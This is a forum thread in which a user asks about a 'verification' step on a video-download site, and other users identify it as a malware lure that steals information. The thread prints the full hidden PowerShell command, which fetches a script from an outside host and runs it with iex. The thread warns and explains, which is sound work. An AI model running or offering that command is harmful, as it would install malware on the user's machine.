New scam that can hack your computer [BE AWARE]

MgicalaEarner

Elite Member
Joined
Jul 8, 2017
Messages
3,749
Reaction score
4,871
I was downloading YouTube video and told me to verify like this to proceed.
1737467359378.png


powershell.exe -W Hidden -command $uR='***Link removed by a Moderator***';$reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex $t


Can someone explain what is this?
 
Last edited by a moderator:
I was downloading YouTube video and told me to verify like this to proceed.
View attachment 414292

powershell.exe -W Hidden -command $uR='https://too-gle.com/coco/joas.txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex $t


Can someone explain what is this?
It's a hack. Don't run it. You can check what's inside the .txt file (there are some further commands for the hack - what to download and from where) with any online browser. Cannot explain more.
 
Last edited:
OP is asking a specific question. They aren't looking for generic answers.
Everybody else in this thread said basically the same thing - it's a malicious script, don't run it - why didn't you tag them as well?

If you think we are giving generic answers, provide us with a better answer, the point is that this is a scam script and it can hack someone's computer, if you can give us a detailed answer, it would be appreciated
 
i just read an article on a cyber security blog a few days ago about that exact thing.

malware going around and tricking people into executing malicious code in powershell.

it's further than a scan script. it installs malware on your computer and steals information.

it attempts to run this code https://too-gle[.]com/coco/joas.txt

you can plug those urls into any.run for analysis. see below.

https://any.run/report/0bf58424b2a4...7500c19e/1f88a068-c0af-4680-a8e3-a34a42efa487

https://any.run/report/c7ad2c2ef48f...4cde2923/10fd1995-5a61-496f-ab66-7e2e3fa020d5
 
I saw this mostly on coinmarketcap, if you go and check the chats you will see many are doing that.
 
Why are you using those fishy sites to download a YOUTUBE? video in the first place?

next time you try to download a youtube video use: ytdl-org/youtube-dl (if you want to download playlists/bulk videos) or ssvid net
to download and save videos from many other sites
 
The reason you get this message is that you and others would prefer to fall in to the trap of hackers and download content for free when you shouldn't. The only legit way to download youtube content is from youtube on premium memberships.

If you can't afford $10 a month, and you'd rather have your computer hacked, then yes, be my guest. lol
 
Back
Top